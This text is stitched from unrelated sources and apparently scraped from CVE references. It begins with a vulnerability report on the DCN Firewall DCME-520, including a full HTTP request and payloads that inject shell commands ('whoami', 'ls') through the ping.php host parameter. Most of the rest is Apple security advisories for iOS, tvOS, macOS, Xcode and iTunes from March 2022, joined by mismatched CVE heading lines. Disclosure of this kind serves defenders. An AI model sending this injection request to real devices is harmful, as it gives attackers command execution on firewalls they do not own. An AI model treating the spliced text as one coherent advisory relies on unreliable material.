DCN Firewall DCME-520 was discovered to contain a remote command execution (RCE) vulnerability via the host parameter in the file /system/tool/ping.php.

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**0x00 **Affected component(s)****

    Affected:DCN Firewall DCME-520
    Affected source code file：/www/function/system/tool/ping.php

**0x01 **Vendor of the product(s)** and **vulnerability type****

http://www.digitalchina.com/

Command Execution

**0x02 **Attack vector(s)****

Vulnerability file path ‘/function/system/tool/ping.php’,

the’ host ‘parameter passed in is not strictly filtered.

It is directly brought into the command line and bypassed by payload (& &),

resulting in a command execution vulnerability,

which can obtain server permissions.

**0x03 Suggest**

An issue was discovered in DCN Firewall DCME-520.  
There is a Command Execution that can execute any harmful command on the serveron to control the server。

**0x04 **Source code analysis****

path：

/function/system/tool/ping.php

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the’ host ‘parameter passed in is not strictly filtered.

It is directly brought into the command line and bypassed by payload (& &),

resulting in a command execution vulnerability.

**Command Execution Packet：**

    POST /function/system/tool/ping.php HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 148
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://127.0.0.1/function/system/tool/ping.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: UILanguage=2; PHPSESSID=62913043f1317aec7e2b041dd895ba4b
    Connection: close
    
    dcn_test_a_120=525&dcn_test_b_120=283&dcn_test_c_120=790&dcn_test_d=_120&doing=ping&host=114.114.114.114%26%26whoami&proto=&count=1
    

payload：

    host=114.114.114.114&&whoami

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host=114.114.114.114&&ls

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**Additional recognition**

**WebKit**

We would like to acknowledge Prakash (@1lastBr3ath) for their assistance.

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Apple security documents reference vulnerabilities by CVE-ID when possible.

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Impact: A person with physical access may be able to view and modify the carrier account information and settings from the lock screen

Description: The GSMA authentication panel could be presented on the lock screen. The issue was resolved by requiring device unlock to interact with the GSMA authentication panel.

CVE-2022-22652: Kağan Eğlence (linkedin.com/in/kaganeglence)

**CoreMedia**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to learn information about the current camera view before being granted camera access

Description: An issue with app access to camera metadata was addressed with improved logic.

CVE-2022-22598: Will Blaschko of Team Quasko

**FaceTime**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to bypass the Emergency SOS passcode prompt

Description: This issue was addressed with improved checks.

CVE-2022-22642: Yicong Ding (@AntonioDing)

**FaceTime**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may send audio and video in a FaceTime call without knowing that they have done so

Description: This issue was addressed with improved checks.

CVE-2022-22643: Sonali Luthar of the University of Virginia, Michael Liao of the University of Illinois at Urbana-Champaign, Rohan Pahwa of Rutgers University, and Bao Nguyen of the University of Florida

**GPU Drivers**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22667: Justin Sherman of the University of Maryland, Baltimore County

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22611: Xingyu Jin of Google

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory consumption issue was addressed with improved memory handling.

CVE-2022-22612: Xingyu Jin of Google

**IOGPUFamily**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to gain elevated privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22641: Mohamed Ghannam (@\_simo36)

**iTunes**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious website may be able to access information about the user and their devices

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22653: Aymeric Chaib of CERT Banque de France

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22596: an anonymous researcher

CVE-2022-22640: sqrtpwn

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22613: Alex, an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22614: an anonymous researcher

CVE-2022-22615: an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to elevate privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22632: Keegan Saunders

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An attacker in a privileged position may be able to perform a denial of service attack

Description: A null pointer dereference was addressed with improved validation.

CVE-2022-22638: derrek (@derrekr6)

**libarchive**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Multiple issues in libarchive

Description: Multiple memory corruption issues existed in libarchive. These issues were addressed with improved input validation.

CVE-2021-36976

**Markup**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22622: Ingyu Lim (@\_kanarena)

**MediaRemote**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to identify what other applications a user has installed

Description: An access issue was addressed with improved access restrictions.

CVE-2022-22670: Brandon Azad

**NetworkExtension**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An attacker in a privileged network position may be able to leak sensitive user information

Description: A logic issue was addressed with improved state management.

CVE-2022-22659: an anonymous researcher

**Phone**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to bypass the Emergency SOS passcode prompt

Description: This issue was addressed with improved checks.

CVE-2022-22618: Yicong Ding (@AntonioDing)

**Preferences**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to read other applications' settings

Description: The issue was addressed with additional permissions checks.

CVE-2022-22609: Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020) of Tencent Security Xuanwu Lab (xlab.tencent.com)

**Sandbox**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to bypass certain Privacy preferences

Description: The issue was addressed with improved permissions logic.

CVE-2022-22600: Sudhakar Muthumani of Primefort Private Limited, Khiem Tran

**Siri**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen

Description: A permissions issue was addressed with improved validation.

CVE-2022-22599: Andrew Goldberg of the University of Texas at Austin, McCombs School of Business (linkedin.com/andrew-goldberg/)

**SoftwareUpdate**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to gain elevated privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22639: Mickey (@patch1t)

**UIKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22621: Joey Hewitt

**VoiceOver**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A person with physical access to an iOS device may be able to access photos from the lock screen

Description: An authentication issue was addressed with improved state management.

CVE-2022-22671: videosdebarraquito

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: A cookie management issue was addressed with improved state management.

WebKit Bugzilla: 232748  
CVE-2022-22662: Prakash (@1lastBr3ath) of Threat Nix

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to code execution

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 232812  
CVE-2022-22610: Quan Yin of Bigo Technology Live Client Team

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A use after free issue was addressed with improved memory management.

WebKit Bugzilla: 233172  
CVE-2022-22624: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

WebKit Bugzilla: 234147  
CVE-2022-22628: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 234966  
CVE-2022-22629: Jeonghoon Shin at Theori working with Trend Micro Zero Day Initiative

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious website may cause unexpected cross-origin behavior

Description: A logic issue was addressed with improved state management.

WebKit Bugzilla: 235294  
CVE-2022-22637: Tom McKee of Google

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A malicious application may be able to leak sensitive user information

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22668: MrPhil17

CVE-2022-22671: About the security content of iOS 15.4 and iPadOS 15.4

An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed.

Released March 14, 2022

**AppleAVD**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22666: Marc Schoenefeld, Dr. rer. nat.

**AVEVideoEncoder**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A buffer overflow was addressed with improved bounds checking.

CVE-2022-22634: an anonymous researcher

**AVEVideoEncoder**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to gain elevated privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22635: an anonymous researcher

**AVEVideoEncoder**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22636: an anonymous researcher

**ImageIO**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22611: Xingyu Jin of Google

**ImageIO**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory consumption issue was addressed with improved memory handling.

CVE-2022-22612: Xingyu Jin of Google

**IOGPUFamily**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to gain elevated privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22641: Mohamed Ghannam (@\_simo36)

**Kernel**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22613: Alex, an anonymous researcher

**Kernel**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22614: an anonymous researcher

CVE-2022-22615: an anonymous researcher

**Kernel**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious application may be able to elevate privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22632: Keegan Saunders

**Kernel**

Available for: Apple TV 4K and Apple TV HD

Impact: An attacker in a privileged position may be able to perform a denial of service attack

Description: A null pointer dereference was addressed with improved validation.

CVE-2022-22638: derrek (@derrekr6)

**Kernel**

Available for: Apple TV 4K and Apple TV HD

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22640: sqrtpwn

**MediaRemote**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious application may be able to identify what other applications a user has installed

Description: An access issue was addressed with improved access restrictions.

CVE-2022-22670: Brandon Azad

**Preferences**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious application may be able to read other applications' settings

Description: The issue was addressed with additional permissions checks.

CVE-2022-22609: Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020) of Tencent Security Xuanwu Lab (xlab.tencent.com)

**Sandbox**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious application may be able to bypass certain Privacy preferences

Description: The issue was addressed with improved permissions logic.

CVE-2022-22600: Sudhakar Muthumani of Primefort Private Limited, Khiem Tran

**UIKit**

Available for: Apple TV 4K and Apple TV HD

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22621: Joey Hewitt

**WebKit**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: A cookie management issue was addressed with improved state management.

WebKit Bugzilla: 232748  
CVE-2022-22662: Prakash (@1lastBr3ath) of Threat Nix

**WebKit**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing maliciously crafted web content may lead to code execution

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 232812  
CVE-2022-22610: Quan Yin of Bigo Technology Live Client Team

**WebKit**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A use after free issue was addressed with improved memory management.

WebKit Bugzilla: 233172  
CVE-2022-22624: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

WebKit Bugzilla: 234147  
CVE-2022-22628: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

**WebKit**

Available for: Apple TV 4K and Apple TV HD

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 234966  
CVE-2022-22629: Jeonghoon Shin at Theori working with Trend Micro Zero Day Initiative

**WebKit**

Available for: Apple TV 4K and Apple TV HD

Impact: A malicious website may cause unexpected cross-origin behavior

Description: A logic issue was addressed with improved state management.

WebKit Bugzilla: 235294  
CVE-2022-22637: Tom McKee of Google

CVE-2022-22670: About the security content of tvOS 15.4

A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges.

Released March 14, 2022

**Accelerate Framework**

Available for: macOS Monterey

Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution

Description: A memory corruption issue was addressed with improved state management.

CVE-2022-22633: an anonymous researcher

**AMD**

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22669: an anonymous researcher

**AppKit**

Available for: macOS Monterey

Impact: A malicious application may be able to gain root privileges

Description: A logic issue was addressed with improved validation.

CVE-2022-22665: Lockheed Martin Red Team

**AppleGraphicsControl**

Available for: macOS Monterey

Impact: An application may be able to gain elevated privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22631: an anonymous researcher

**AppleScript**

Available for: macOS Monterey

Impact: Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22625: Mickey Jin (@patch1t) of Trend Micro

**AppleScript**

Available for: macOS Monterey

Impact: An application may be able to read restricted memory

Description: This issue was addressed with improved checks.

CVE-2022-22648: an anonymous researcher

**AppleScript**

Available for: macOS Monterey

Impact: Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22626: Mickey Jin (@patch1t) of Trend Micro

CVE-2022-22627: Qi Sun and Robert Ai of Trend Micro

**AppleScript**

Available for: macOS Monterey

Impact: Processing a maliciously crafted file may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22597: Qi Sun and Robert Ai of Trend Micro

**BOM**

Available for: macOS Monterey

Impact: A maliciously crafted ZIP archive may bypass Gatekeeper checks

Description: This issue was addressed with improved checks.

CVE-2022-22616: Ferdous Saljooki (@malwarezoo) and Jaron Bradley (@jbradley89) of Jamf Software, Mickey Jin (@patch1t)

**curl**

Available for: macOS Monterey

Impact: Multiple issues in curl

Description: Multiple issues were addressed by updating to curl version 7.79.1.

CVE-2021-22946

CVE-2021-22947

CVE-2021-22945

CVE-2022-22623

**FaceTime**

Available for: macOS Monterey

Impact: A user may send audio and video in a FaceTime call without knowing that they have done so

Description: This issue was addressed with improved checks.

CVE-2022-22643: Sonali Luthar of the University of Virginia, Michael Liao of the University of Illinois at Urbana-Champaign, Rohan Pahwa of Rutgers University, and Bao Nguyen of the University of Florida

**ImageIO**

Available for: macOS Monterey

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22611: Xingyu Jin of Google

**ImageIO**

Available for: macOS Monterey

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory consumption issue was addressed with improved memory handling.

CVE-2022-22612: Xingyu Jin of Google

**Intel Graphics Driver**

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A type confusion issue was addressed with improved state handling.

CVE-2022-22661: an anonymous researcher, Peterpan0927 of Alibaba Security Pandora Lab

**IOGPUFamily**

Available for: macOS Monterey

Impact: An application may be able to gain elevated privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22641: Mohamed Ghannam (@\_simo36)

**Kernel**

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22613: Alex, an anonymous researcher

**Kernel**

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2022-22614: an anonymous researcher

CVE-2022-22615: an anonymous researcher

**Kernel**

Available for: macOS Monterey

Impact: A malicious application may be able to elevate privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22632: Keegan Saunders

**Kernel**

Available for: macOS Monterey

Impact: An attacker in a privileged position may be able to perform a denial of service attack

Description: A null pointer dereference was addressed with improved validation.

CVE-2022-22638: derrek (@derrekr6)

**Kernel**

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-22640: sqrtpwn

**libarchive**

Available for: macOS Monterey

Impact: Multiple issues in libarchive

Description: Multiple memory corruption issues existed in libarchive. These issues were addressed with improved input validation.

CVE-2021-36976

**Login Window**

Available for: macOS Monterey

Impact: A person with access to a Mac may be able to bypass Login Window

Description: This issue was addressed with improved checks.

CVE-2022-22647: an anonymous researcher

**LoginWindow**

Available for: macOS Monterey

Impact: A local attacker may be able to view the previous logged in user’s desktop from the fast user switching screen

Description: An authentication issue was addressed with improved state management.

CVE-2022-22656

**GarageBand MIDI**

Available for: macOS Monterey

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-22657: Brandon Perry of Atredis Partners

**GarageBand MIDI**

Available for: macOS Monterey

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22664: Brandon Perry of Atredis Partners

**NSSpellChecker**

Available for: macOS Monterey

Impact: A malicious application may be able to access information about a user's contacts

Description: A privacy issue existed in the handling of Contact cards. This was addressed with improved state management.

CVE-2022-22644: an anonymous researcher

**PackageKit**

Available for: macOS Monterey

Impact: An application may be able to gain elevated privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22617: Mickey Jin (@patch1t)

**Preferences**

Available for: macOS Monterey

Impact: A malicious application may be able to read other applications' settings

Description: The issue was addressed with additional permissions checks.

CVE-2022-22609: Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020) of Tencent Security Xuanwu Lab (xlab.tencent.com)

**QuickTime Player**

Available for: macOS Monterey

Impact: A plug-in may be able to inherit the application's permissions and access user data

Description: This issue was addressed with improved checks.

CVE-2022-22650: Wojciech Reguła (@\_r3ggi) of SecuRing

**Safari Downloads**

Available for: macOS Monterey

Impact: A maliciously crafted ZIP archive may bypass Gatekeeper checks

Description: This issue was addressed with improved checks.

CVE-2022-22616: Ferdous Saljooki (@malwarezoo) and Jaron Bradley (@jbradley89) of Jamf Software, Mickey Jin (@patch1t)

**Sandbox**

Available for: macOS Monterey

Impact: A malicious application may be able to bypass certain Privacy preferences

Description: The issue was addressed with improved permissions logic.

CVE-2022-22600: Sudhakar Muthumani of Primefort Private Limited, Khiem Tran

**Siri**

Available for: macOS Monterey

Impact: A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen

Description: A permissions issue was addressed with improved validation.

CVE-2022-22599: Andrew Goldberg of the University of Texas at Austin, McCombs School of Business (linkedin.com/andrew-goldberg/)

**SMB**

Available for: macOS Monterey

Impact: A remote attacker may be able to cause unexpected system termination or corrupt kernel memory

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-22651: Felix Poulin-Belanger

**SoftwareUpdate**

Available for: macOS Monterey

Impact: An application may be able to gain elevated privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-22639: Mickey Jin (@patch1t)

**System Preferences**

Available for: macOS Monterey

Impact: An app may be able to spoof system notifications and UI

Description: This issue was addressed with a new entitlement.

CVE-2022-22660: Guilherme Rambo of Best Buddy Apps (rambo.codes)

**UIKit**

Available for: macOS Monterey

Impact: A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions

Description: This issue was addressed with improved checks.

CVE-2022-22621: Joey Hewitt

**Vim**

Available for: macOS Monterey

Impact: Multiple issues in Vim

Description: Multiple issues were addressed by updating Vim.

CVE-2021-4136

CVE-2021-4166

CVE-2021-4173

CVE-2021-4187

CVE-2021-4192

CVE-2021-4193

CVE-2021-46059

CVE-2022-0128

CVE-2022-0156

CVE-2022-0158

**VoiceOver**

Available for: macOS Monterey

Impact: A user may be able to view restricted content from the lock screen

Description: A lock screen issue was addressed with improved state management.

CVE-2021-30918: an anonymous researcher

**WebKit**

Available for: macOS Monterey

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: A cookie management issue was addressed with improved state management.

WebKit Bugzilla: 232748  
CVE-2022-22662: Prakash (@1lastBr3ath) of Threat Nix

**WebKit**

Available for: macOS Monterey

Impact: Processing maliciously crafted web content may lead to code execution

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 232812  
CVE-2022-22610: Quan Yin of Bigo Technology Live Client Team

**WebKit**

Available for: macOS Monterey

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A use after free issue was addressed with improved memory management.

WebKit Bugzilla: 233172  
CVE-2022-22624: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

WebKit Bugzilla: 234147  
CVE-2022-22628: Kirin (@Pwnrin) of Tencent Security Xuanwu Lab

**WebKit**

Available for: macOS Monterey

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 234966  
CVE-2022-22629: Jeonghoon Shin at Theori working with Trend Micro Zero Day Initiative

**WebKit**

Available for: macOS Monterey

Impact: A malicious website may cause unexpected cross-origin behavior

Description: A logic issue was addressed with improved state management.

WebKit Bugzilla: 235294  
CVE-2022-22637: Tom McKee of Google

**Wi-Fi**

Available for: macOS Monterey

Impact: A malicious application may be able to leak sensitive user information

Description: A logic issue was addressed with improved restrictions.

CVE-2022-22668: MrPhil17

**xar**

Available for: macOS Monterey

Impact: A local user may be able to write arbitrary files

Description: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.

CVE-2022-22582: Richard Warren of NCC Group

CVE-2022-22669: About the security content of macOS Monterey 12.3

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution.

This document describes the security content of Xcode 13.3.

**About Apple security updates**

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Apple security documents reference vulnerabilities by CVE-ID when possible.

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**Xcode 13.3**

Released March 14, 2022

**iTMSTransporter**

Available for: macOS Monterey 12 and later

Impact: Multiple issues in iTMSTransporter

Description: Multiple issues were addressed with updating FasterXML jackson-databind and Apache Log4j2.

CVE-2019-14379

CVE-2021-44228

**otool**

Available for: macOS Monterey 12 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22601: hjy79425575

CVE-2022-22602: hjy79425575

CVE-2022-22603: hjy79425575

CVE-2022-22604: hjy79425575

CVE-2022-22605: hjy79425575

CVE-2022-22606: hjy79425575

CVE-2022-22607: hjy79425575

CVE-2022-22608: hjy79425575

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**Additional recognition**

**iTMSTransporter**

We would like to acknowledge Anthony Shaw of Microsoft for their assistance.

**ld64**

We would like to acknowledge Pan ZhenPeng (@Peterpan0927) of Alibaba Security Pandora Lab for their assistance.

**Xcode IDE**

We would like to acknowledge an anonymous researcher for their assistance.

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Published Date: March 14, 2022

CVE-2022-22601: About the security content of Xcode 13.3

A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption.

This document describes the security content of iTunes 12.12.3 for Windows.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security updates page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

![](https://support.apple.com/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)

**iTunes 12.12.3 for Windows**

Released March 8, 2022

**ImageIO**

Available for: Windows 10 and later

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2022-22611: Xingyu Jin of Google

**ImageIO**

Available for: Windows 10 and later

Impact: Processing a maliciously crafted image may lead to heap corruption

Description: A memory consumption issue was addressed with improved memory handling.

CVE-2022-22612: Xingyu Jin of Google

**WebKit**

Available for: Windows 10 and later

Impact: Processing maliciously crafted web content may disclose sensitive user information

Description: A cookie management issue was addressed with improved state management.

WebKit Bugzilla: 232748  
CVE-2022-22662: Prakash (@1lastBr3ath) of Threat Nix

**WebKit**

Available for: Windows 10 and later

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A buffer overflow issue was addressed with improved memory handling.

WebKit Bugzilla: 234966  
CVE-2022-22629: Jeonghoon Shin at Theori working with Trend Micro Zero Day Initiative

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Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: March 14, 2022

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